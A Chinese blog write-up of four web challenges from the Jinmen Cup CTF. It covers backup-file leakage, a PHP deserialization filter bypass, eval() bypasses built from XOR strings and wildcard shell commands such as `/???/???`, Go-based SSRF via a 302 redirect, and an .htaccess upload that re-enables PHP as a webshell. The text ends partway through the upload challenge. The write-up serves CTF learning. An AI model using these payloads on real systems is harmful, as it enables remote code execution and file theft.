[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut、hate_php、Go0SS、HploadHub和easysql,涉及知识点包括备份文件、SSRF、文件上传、SQL注入、302重定位、代码审计、中国蚁剑等。

参加比赛真的能学到很多知识,同时这些大佬是真的厉害,自己真的菜,我们只做出来6道题,需要学习的知识非常多,也非常感谢师弟们的努力。人生路上,要珍惜好每一天,努力奋斗,做到如数家珍,fighting!同时,作者在外读博求学,想好好阅读论文和做实验,因此已经停更技术文章,但这篇文章还是花时间总结出来,只望对初学者有帮助。

文章目录

  • 第一题 power_cut
    • 1.正确解题思路
    • 2.其他错误尝试
  • 第二题 hate_php
    • 1.绕过数字和字母
    • 2.绕过下划线
    • 3.绕过所有规则(正确答案)
  • 第三题 Go0SS
    • 1.正确结题思路
    • 2.其他错误尝试
  • 第四题 HploadHub
    • 1.正确结题思路
    • 2.中国蚁剑扩展
    • 3.其他错误尝试
  • 第五题 easysql
    • 1.正确结题思路
    • 2.SSRF错误尝试
    • 3.SQL注入错误尝试
  • 总结

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第1张图片

最高光的一刻,希望未来能更进一步,毕业后好好搞搞安全技术。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第2张图片

PS:最近网址还可以测试,大家可以试试这五道题目。后续作者会删除网址,保护主办方的服务器,当然他们应该也会关闭。本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


第一题 power_cut

题目描述如下:

  • http://119.3.128.126:32800/

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第3张图片

该网站打开如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第4张图片

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.p>
body>
html>

1.正确解题思路

作者的基本思路如下:

  • 第一步,使用dirsearch扫描敏感目录
  • 第二步,发现index.php.swp源码文件并下载
  • 第三步,将.swp文件恢复成index.php文件
  • 第四步,分析源码发现是反序列化漏洞,通过双写简单绕过

(1) 我们从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。

  • https://github.com/maurosoria/dirsearch

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第5张图片

(2) 接着,通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件 .index.php.swp

  • -u:指定网址
  • -e:指定网站语言
  • -w:指定字典
  • -r:递归目录(跑出目录后,继续跑目录下面的目录)
  • -random-agents:使用随机UA

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第6张图片

文件泄露知识总结
备份文件泄露是基础知识,常见备份文件的包括.bak,.swp,.swo等。下面简单总结文件泄露知识点。

  • 备份文件:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~
  • 源码压缩包:www.zip、root.zip、web.zip
  • git泄露:www.xxx.com/.git/config,之后使用工具GitHack可以获取源码,python GitHack.py URL/.git
  • svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper获取源码
  • 其它文件泄露
    – .idea目录泄露:使用了IntelliJ IDEA的工程,可泄露目录结构
    – .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp
    – .pyc文件:python编译后的字节码文件

(3) 我们下载该源码文件,然后解读源码。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第7张图片

(4) 恢复.swp文件成 index.php,否则打开是乱码。在Linux系统下使用vim带-r参数编辑,完后wq保存。

  • vim -r index.php.swp
  • 按下i输入 Esc退出
  • 保存至本地 :w /tmp/index.php

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第8张图片

文件恢复如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第9张图片

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第10张图片

下载本地文件如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第11张图片

源代码如下所示:


class logger{
     
    public $logFile;
    public $initMsg;
    public $exitMsg;
  
    function __construct($file){
     
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
        $this->logFile =  $file;
        readfile($this->logFile);
        
    }
  
    function log($msg){
     
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }
  
    function __destruct(){
     
        echo "this is destruct";
    }
}

class weblog {
     
    public $weblogfile;

    function __construct() {
     
    	$flag="system('cat /flag')";
    	echo "$flag";
    }

    function __wakeup(){
     
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
     
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
     
        echo "this is destruct";
    }
}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

(5) 审计发现 logger 类的构造函数中存在文件读取函数 readfile() ,并且参数可控。通过 weblog 类的 __wakeup 魔术方法,实例化 logger 类的一个对象时,触发文件读取漏洞。至于其他函数,经过分析不难看出,是为了迷惑的。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第12张图片

反序列化就需要输入序列化值。

$test = new weblog();
$test->weblogfile = "/flaflagg";
var_dump(serialize($test));

输出结果如下图所示,如果接着URL拼接仍然无结果。

  • O:6:“weblog”:1:{s:10:“weblogfile”;s:9:"/flaflagg";}

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第13张图片

因为会把flag替换为空,所以要把该变量的长度改为5。最终payload如下:

?log=O:6:"weblog":1:{
     s:10:"weblogfile";s:5:"/flaflagg";}

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第14张图片

知识总结
个人CTF题目喜欢长篇大论,希望大佬们不喜勿喷,更希望能帮助初学者。该题目你能学到的知识点包括:

  • 通过dirsearch扫描网站目录
  • 文件泄露常见方法(index.php.swp),以及从备份文件到源码的恢复
  • 反序列化和序列化常见漏洞的利用,通过构造双写绕过flag过滤

2.其他错误尝试

当然,由于作者博士以论文为主,所以只是零零散散参加各种安全比赛,也走了很多弯路和尝试。如果你是一名安全初学者,可以多做做CTF题,它都是有一定规律的。

dirb目录扫描,依赖我们的字典库。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第15张图片

BurpSuite拦截请求,查看内容。

在这里插入图片描述


第二题 hate_php

题目描述如下:

  • http://122.112.214.101:20004/

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第16张图片

访问网址如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第17张图片

PHP代码如下:


error_reporting(0);
if(!isset($_GET['code'])){
     
    highlight_file(__FILE__);
}else{
     
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
     
        die('fighting!'); 
    }
    eval($code);
}

这道题目主要考察PHP代码审计和规则绕过,当输入code=123参数会提示如下图所示。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第18张图片


1.绕过数字和字母

首先,我们常见的CTF题代码如下,主要是绕过数字和字母。

  • 绕过 preg_match("/[A-Za-z0-9]+/",$code)

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第19张图片

上面这段代码绕过方法如下:

  • 要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数,然后执行这个函数getshell。
  • 在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

接着,我们在线构造PHP请求。

  • https://c.runoob.com/compile/1

POST请求构造


    @$_++;
    print($_);
	$__=("#"^"|");
	print($__);
	$__.=("."^"~");
	print($__);
    $__.=("/"^"`");
	print($__);
    $__.=("|"^"/");
	print($__);
    $__.=("{"^"/");
	print($__);
?>

输出结果如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第20张图片

GET请求构造


	$_="`{
     {
     {"^"?<>/";
	print($_);
?>

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第21张图片

最终我们通过异或构造请求,核心知识点如下:


	var_dump("#./|{"^"|~`//"); //_POST
	var_dump("`{
     {
     {"^"?<>/");   //_GET
?>

最终绕过数字和字符串的代码如下,成功获取Flag值。

?code=$_="`{
     {
     {"^"?<>/";${
     $_}[_](${
     $_}[__]);&_=getFlag

?code=$_="`{
     {
     {"^"?<>/";${
     $_}[_](${
     $_}[__]);&_=assert&__=print_r(`scandir`('/'))

1.这里的 "`{
     {
     {"^"?<>/" 是异或的简短写法,表示_GET
2.${
     $_}[_](${
     $_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
3.把_当作参数传进去执行getFlag()

此时输出结果如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第22张图片

但如果直接输出到我们这道题目中,它会提示错误“fighting”。因为我们的正则表达式还过滤了特色字符,尤其是下划线(_)和美元符($)。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第23张图片


2.绕过下划线

绕过数字和字母后,我们想试试能不能同时绕过下划线。

  • 函数名或预定义变量名有下划线为了避免跟用户自定义的名字冲突,如_GET、_POST等
  • 函数名前有2个下划线的是魔术方法,变量名前有一个下划线的一般都是系统变量或常量,如__construct

如果下划线都不给,就意味着不能定义变量,而且也构造不出来数字。我们必须要想其他方法绕过规则,这是大佬给的payload,+号必须加引号。

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

进一步完善的payload如下:

?code=${
     "`{
     {
     {"^"?<>/"}['+']();&+=getFlag
?code=${
     "`{
     {
     {"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))

该payload中{}的内容是异或,异或在{}中被执行了,也就是上面讲的 “`{ { {”^"?<>/" 执行了异或操作,相当于_GET。最后eva函数拼接出了字符串 $_GET [’+’] (),然后传入+=getFlag,最后执行函数getFlag()。

注意,这里的代码相当于 ${_GET}'+' ,利用${}中的代码可以执行的特点。


    $a = 'hello';
    $$a = 'world';
    echo "$a ${
       $a}";
?>
输出:hello world

此时的payload如果直接输入到题目中,它仍然会报错“fighting”,因为美元符号也被过滤了。

  • ?code=${"`{ { {"^"?<>/"}’+’;&+=getFlag

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第24张图片


3.绕过所有规则(正确答案)

正确答案如下所示:

WEB hate_php

思路一:绕过字符和数字
code=$_="`{
     {
     {"^"?<>/";${
     $_}[_](${
     $_}[__]);
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.失败 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)

思路二:绕过字符和数字+下划线(变量_和__)
code=${
     "`{
     {
     {"^"?<>/"}['+']();
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.成功 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)
- ?code=${
     "`{
     {
     {"^"?<>/"}['+']();&+=getFlag
- ?code=${
     "`{
     {
     {"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))

思路三:绕过字符和数字+下划线(变量_和__+美元符号($)
1.均失败

------------------------------------------------------

【最终答案】
思路四:采用通配符绕过美元符号($)
?code=?>`/???/??? /????`?>
?code=?%3E%3C?=`/???/???%20/????`?%3E

Cflag{
     h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A} 

输出结果如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第25张图片

解题思路:

  • 利用通配符调用Linux系统命令来查看flag
  • 在Linux系统中可以使用 ? * 等字符来正则匹配字母
  • 星号(*)可以用来代替0个及以上任意字符
  • 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat

这里参考zering大佬文章,通过 /bin/cat 来读取源码,比如:

$_=`/???/???%20/???/???/????/?????.???`;?>$_?>
"/bin/cat /var/www/html/index.php"

如果有长度限制,比如小于35且不存在 $ _,则将 $ _ 带入后面一个表达式,同时使用 * 来匹配最后文件。同时,这里的 ?> 闭合了eval自带的

构造payload如下:
?>`/???/???%20/???/???/????/*`?>

php使用短链接含义如下:
 echo `/bin/cat /var/www/html/index.php`?>

读取到源码发现存在如下函数:

function getFlag(){
     
	$flag = file_get_contents('/flag');
	echo $flag;
}

注意,我们可以在本地构建该PHP案例进行测试。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第26张图片


error_reporting(0);
if(!isset($_GET['code'])){
     
    highlight_file(__FILE__);
}else{
     
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
      
        die('fighting!'); 
    }
    $flag = 'eastmount';
    eval($code);
    echo($flag);
}

如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第27张图片

最后直接读取flag文件。

?>`/???/???%20/????`;?>

?code=?>`/???/??? /????`?>

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第28张图片

知识总结

  • preg_match("/[A-Za-z0-9]+/",$code) + 长度限制
    数字+字母:通过异或构造GET或POST请求实现绕过
  • preg_match("/[A-Za-z0-9_@]+/",$code)
    数字+字母+下划线:构造payload并通过 ${}[’+’] () 替换下划线
  • preg_match("/[A-Za-z0-9_$@]+/",$code)
    数字+字母+下划线+美元符:通过通配符(?)实现替换

该部分参考资料:

  • 如何用PHP编写一个不包含数字和字母的后门
  • 绕过preg_match("/[A-Za-z0-9]+/",$code)
  • CTF踩坑PHP编写一个不包含数字字母和下划线的后门
  • 浅析CTF绕过字符数字构造shell
  • CTF一道web题小结-无数字字母getFlag/

第三题 Go0SS

题目描述如下:

  • http://122.112.246.208:20002/

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第29张图片

访问网址如下图所示,默认输出 {“message”, “pong”}。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第30张图片

index.php文件内容为空。


// php in localhost port 80
readfile($_GET['file']);
?>

这道题目给出了源代码,应该是想大家通过代码设计来找到漏洞利用点。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第31张图片

源码为GO语言,其中核心为main.go文件。

package main

import (
	"bytes"
	"crypto/md5"
	"encoding/hex"
	"github.com/gin-gonic/gin"
	"io"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"time"
)

type File struct {
     
	Content string `json:"content" binding:"required"`
	Name string `json:"name" binding:"required"`
}
type Url struct {
     
	Url string `json:"url" binding:"required"`
}

func md5sum(data string) string{
     
	s := md5.Sum([]byte(data))
	return hex.EncodeToString(s[:])
}

func fileMidderware (c *gin.Context){
     
	fileSystem := http.Dir("./files/")
	if c.Request.URL.String() == "/"{
     
		c.Next()
		return
	}
	f,err := fileSystem.Open(c.Request.URL.String())
	if f == nil {
     
		c.Next()
	}
	//
	if err != nil {
     
		c.Next()
		return
	}
	defer f.Close()
	fi, err := f.Stat()
	if  err != nil {
     
		c.JSON(http.StatusInternalServerError, gin.H{
     "error": err.Error()})
		return
	}
	if fi.IsDir() {
     
		if !strings.HasSuffix(c.Request.URL.String(), "/") {
     
			c.Redirect(302,c.Request.URL.String()+"/")
		} else {
     
			files := make([]string,0)
			l,_ := f.Readdir(0)
			for _,i := range l {
     
				files = append(files, i.Name())
			}

			c.JSON(http.StatusOK, gin.H{
     
				"files" :files,
			})
		}
	} else {
     
		data,_ := ioutil.ReadAll(f)
		c.Header("content-disposition", `attachment; filename=` + fi.Name())
		c.Data(200, "text/plain", data)
	}
}

func uploadController(c *gin.Context) {
     
	var file File
	if err := c.ShouldBindJSON(&file); err != nil {
     
		c.JSON(500, gin.H{
     "msg": err})
		return
	}
	dir := md5sum(file.Name)
	_,err:= http.Dir("./files").Open(dir)
	if err != nil{
     
		e := os.Mkdir("./files/"+dir,os.ModePerm)
		_, _ = http.Dir("./files").Open(dir)
		if e != nil {
     
			c.JSON(http.StatusInternalServerError, gin.H{
     "error": e.Error()})
			return
		}
	}
	filename := md5sum(file.Content)
	path := "./files/"+dir+"/"+filename
	err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
	if err != nil{
     
		c.JSON(http.StatusInternalServerError, gin.H{
     "error": err.Error()})
		return
	}
	c.JSON(200, gin.H{
     
		"message": "file upload succ, path: "+dir+"/"+filename,
	})
}
func vulController(c *gin.Context) {
     
	var url Url
	if err := c.ShouldBindJSON(&url); err != nil {
     
		c.JSON(500, gin.H{
     "msg": err})
		return
	}
	if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
     
		c.JSON(403, gin.H{
     "msg": "url forbidden"})
		return
	}
	client := &http.Client{
     Timeout: 2 * time.Second}
	resp, err := client.Get(url.Url)
	if err != nil {
     
		c.JSON(http.StatusInternalServerError, gin.H{
     "error": err.Error()})
		return
	}
	defer resp.Body.Close()
	var buffer [512]byte
	result := bytes.NewBuffer(nil)
	for {
     
		n, err := resp.Body.Read(buffer[0:])
		result.Write(buffer[0:n])
		if err != nil && err == io.EOF {
     
			break
		} else if err != nil {
     
			c.JSON(http.StatusInternalServerError, gin.H{
     "error": err.Error()})
			return
		}
	}
	c.JSON(http.StatusOK, gin.H{
     "data": result.String()})
}
func main() {
     
	r := gin.Default()
	r.Use(fileMidderware)
	r.POST("/vul",vulController)
	r.POST("/upload",uploadController)
	r.GET("/", func(c *gin.Context) {
     
		c.JSON(200, gin.H{
     
			"message": "pong",
		})
	})
	_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

1.正确结题思路

(1) 我们首先打开index.php源码,发现代码如下,存在一个提醒,即内网80端有php SSRF。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第32张图片

(2) 接着我们需要审计GO语言代码(main.go),首先看主函数。核心内容如下:

  • r.Use(fileMidderware)
  • r.POST("/vul",vulController)
  • r.POST("/upload",uploadController)

可以发现两个可用的目录 vulupload ,后续对其进行渗透测试。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第33张图片

(3) 接着代码审计发现可以通过302跳转完成SSRF。56行通过HasSuffix判断字符串是否以 / 结尾,不以其结尾造成302重定向。核心代码如下:

func fileMidderware (c *gin.Context) ...
if !strings.HasSuffix(c.Request.URL.String(), "/") {
     
	c.Redirect(302,c.Request.URL.String()+"/")
}

需要满足IsDir(),本地环境发现末尾多加一些 …/ 的时候即可触发302。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第34张图片

(4) 接着我们随便发送POST信息试试,其值为空。

  • http://122.112.246.208:20002/upload
  • {“message”: “eastmount csdn”}

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第35张图片

同时,代码审计发现需要本地1234端口重定向,且必须以该链接开头否则403错误。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第36张图片

如果端口不正确会提示“url forbidden”错误。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第37张图片

如果重定向端口正确则提示页面不存在,此时可以继续构造payload。

  • {“url”:“http://127.0.0.1:1234/index.php?file=/flag&id=eastmount”}
  • {“data”:“404 page not found”}

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第38张图片

(5) 调用函数 http.Dir("/dir").open() 打开文件或目录,如果open函数的参数为 . 或者 … 返回对象也会被认为是一个目录。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第39张图片

(6) 最后通过vul控制器配合ssrf, 发起攻击。先跳转到自己的vps,在302到带参数的内网地址即可获取flag。注意,gin-gonic/gin特性发现双斜杠(//)即可触发SSRF。

  • {“url”:“http://127.0.0.1:1234/index.php?file=…/…/…/…/…/flag&hehe=…/…”}
  • 返回文件信息(缺双斜杠SSRF)

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第40张图片

最终Payload如下:

  • http://122.112.246.208:20002/vul
  • {“url”:“http://127.0.0.1:1234//localhost/index.php?file=…/…/…/flag&eastmount=…/…”}
  • {“data”:“flag{30e308e8e7122579b8ea2fae774d1999}”}

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第41张图片

知识总结

  • GO语言和PHP代码审计
  • 利用302重定向+本地服务器实现SSRF
  • 构造 … 和 // 绕过规则
  • 调用hasSuffix函数不以 / 结尾来触发302重定向
  • 调用hasPrefix函数以某个URL+1234端口开头,否则报403错误

2.其他错误尝试

做这个题目我自己是挺抗拒的。建议大家在做CTF时,不要看到陌生的GO语言的代码审计就抗拒,其实原理都差不多,我们需要学会分析源码。同时,作者调用BP进行分析也走了一些弯路。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第42张图片


第四题 HploadHub

题目描述如下:

  • http://122.112.248.222:20003/

该网站打开如下图所示:

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第43张图片

同时给出了UploadHub源码供大家分析。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第44张图片

dockerfile文件信息如下:

FROM ubuntu:14.04

#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y

# install http
RUN apt-get install -y apache2
RUN mkdir -p /var/lock/apache2 /var/run/apache2
RUN apt-get update && apt-get install -y libapache2-mod-php5 php5 php5-mysql mysql-server python3 python3-pip
COPY app/www /var/www/html
COPY app/shuyu.sql /root/shuyu.sql
COPY app/start.sh /root/start.sh
COPY app/apache2.conf /etc/apache2/apache2.conf
COPY app/tar.py /tar.py

RUN sed -i "315c disable_functions = error_log,...,,ftp_ssl_connect," /etc/php5/apache2/php.ini
RUN sed -i '$a\ServerName 127.0.0.1'  /etc/apache2/apache2.conf &&\
    chmod -R 755 /var/www/html &&\
    chmod -R 777 /var/www/html/upload&&\
    rm /var/www/html/index.html&&\
    chmod +x /root/start.sh
RUN sed -i  "N;32a\secure_file_priv=/tmp" /etc/mysql/my.cnf&&\
    find /var/lib/mysql -type f -exec touch {
     } \; && service mysql start&&\
    mysqladmin -u root password "root"&&\
    mysql -u root -proot -e "create database shuyu;"&&\
    mysql -u root -proot shuyu < /root/shuyu.sql
RUN echo flag{
     test}>/flag
EXPOSE 80 
CMD ["/root/start.sh"]

index.php代码如下

<html>
<head>
<title>生而为人,我很抱歉</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
    <body>  
        <h1>电影太仁慈,总能让错过的人重新相遇;生活不一样,有的人说过再见就再也不见了 -网易云</h1>
        <form action="" method="post"
enctype="multipart/form-data">
            <label for="file">filename:</label>
            <input type="file" name="file" id="file" /> 
            <input type="submit" name="submit" value="submit" />
        </form> 

    error_reporting(0);
    session_start();
    include('config.php');
    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    if(isset($_POST['submit'])){
     
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
     
            die('upload error');
        }else{
     
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);
            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);
            if ($result->num_rows > 0) {
     
                while($row = $result->fetch_assoc()) {
     
                    $id=$row["id"];
                }
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }
    elseif (isset($_GET['id'])){
     
        $id=intval($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
     
            while($row = $result->fetch_assoc()) {
     
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "";
        }
    }
?>
<style>
      body{
     
   background:url(./back.jpg)  no-repeat right -160px  ;
   background-size:90%;
   background-attachment:fixed;
  background-color: rgba(255, 255, 255, 0.8);
}
      </style>
    </body>
</html>

1.正确结题思路

看到这个题目,大家肯定想到了任意文件上传漏洞,但这道题目似乎可以上传任意文件。

(1) 首先,我们查看Apache2.conf配置文件信息,发现在配置层面禁止了upload沙盒解析php。所以php相关的一句话木马是不能执行的。

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第45张图片

(2) 继续查看Apache2.conf配置信息,发现是允许上传.htaccess文件的,且AllowOverride选项为All。此外,网上大神说配置文件的 < directory > 晚于htaccess执行,所以确定此题目为.htaccess的利用。

  • 测试发现 < file > 标签比 < directory > 优先级高

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第46张图片

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第47张图片

知识补充
.htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。这里我们需要用到的是改变文件扩展名,上传一个“.htaccess”文件.

  • https://blog.csdn.net/Eastmount/article/details/103552209

(3) 上传htaccess文件,Rce bypass下disablefunc。注意,如果直接上传php_flag engine on会没用,但apache2.conf中把上传目录的php解析关了。

[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)_第48张图片

构建的exp代码 (.htaccess)如下:

<Files .htaccess>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#

成功上传后我们可以简单获取上传文件的网址,因为其显示在左边某个位置。

